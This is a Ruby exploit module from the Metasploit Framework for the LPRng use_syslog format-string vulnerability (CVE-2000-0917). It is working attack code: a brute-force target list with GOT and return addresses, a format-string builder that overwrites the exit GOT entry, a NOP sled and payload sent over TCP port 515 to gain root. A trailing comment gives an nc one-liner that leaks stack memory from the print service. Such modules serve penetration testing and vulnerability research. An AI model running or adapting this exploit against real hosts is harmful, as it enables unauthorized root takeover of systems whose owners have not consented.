##
# $Id: lprng_format_string.rb 9666 2010-07-03 01:09:32Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Brute
include Msf::Exploit::FormatString
def initialize(info = {})
super(update_info(info,
'Name' => 'LPRng use_syslog Remote Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in the LPRng print server.
This vulnerability was discovered by Chris Evans. There was a publicly
circulating worm targeting this vulnerability, which prompted RedHat to pull
their 7.0 release. They consequently re-released it as "7.0-respin".
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9666 $',
'References' =>
[
[ 'CVE', '2000-0917' ],
[ 'OSVDB', '421' ],
[ 'BID', '1712' ],
[ 'US-CERT-VU', '382365' ],
[ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],
[ 'URL', 'http://www.exploit-db.com/exploits/226' ],
[ 'URL', 'http://www.exploit-db.com/exploits/227' ],
[ 'URL', 'http://www.exploit-db.com/exploits/230' ]
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Privileged' => true, # root
'DefaultOptions' =>
{
'PrependSetresuid' => true
},
'Payload' =>
{
'Space' => 130, # buffer size on caldera is 180! (need ~50 for fmt)
'BadChars' => "\x00\x0a\x20\x25",
},
'Targets' =>
[
# tested OK - jjd
[ 'Caldera OpenLinux 2.3 Bruteforce',
{
'Platform' => 'linux',
'NumPops' => 243,
'FlowHook' => 0x80992d4, # GOT of exit
# (0x809c180+(41+4+10+48)) - data segment, but gets corrupted
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xcffffff4 },
'Stop' => { 'Ret' => 0x7fffe004 },
'Step' => 16
}
}
],
=begin
# untested (from public exploits)
[ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',
{
'NumPops' => 299,
'Ret' => 0xbffff640,
'FlowHook' => 0xbfffee30
}
],
[ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',
{
'NumPops' => 304,
'Ret' => 0xbffff920,
'FlowHook' => 0xbffff0f0
}
],
[ 'RedHat 7.0 - Guinesss',
{
'NumPops' => 300,
'Ret' => 0x41424344,
'FlowHook' => 0xbffff3ec
}
],
[ 'RedHat 7.0 - Guinesss-dev',
{
'NumPops' => 300,
'Ret' => 0x41424344,
'FlowHook' => 0xbffff12c
}
],
=end
# ...
[ 'Debug',
{
'NumPops' => 1, # sure to miss.
'Ret' => 0x41424344,
'FlowHook' => 0x45464748
}
]
],
# 'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 25 2000'))
register_options( [ Opt::RPORT(515) ], self.class )
end
def exploit
# we want to use DPA for this one :)
fmtstr_set_caps(false, true)
# check syslog to see which number hits 41414141
=begin
400.times { |x|
connect
buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]
sock.put(buf)
#handler
disconnect
}
=end
print_status("Trying target #{target.name} ..")
super
end
def brute_exploit(addrs)
#print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])
printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...
num_start = printed.length + 2 + 4
# write 'ret' addr to flowhook (execute shellcode)
# NOTE: the resulting two writes must be done at the same time
# characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)
fmtbuf = "_" * 4
fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])
#print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
# append payload and newline
#fmtbuf << payload.encoded
fmtbuf << "\x90" * 32
fmtbuf << Rex::Text.charset_exclude(payload_badchars)
fmtbuf << "\n"
print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])
connect
#print_status("Sleeping, attach now!!")
#select(nil,nil,nil,5)
sock.put(fmtbuf)
handler
disconnect
end
end
=begin
HRM!
The following causes info leakage!
bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC
There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
0x01 -> 0x09...
It's unclear if there is a way to auto-detect the lpd version via LPD commands.
=end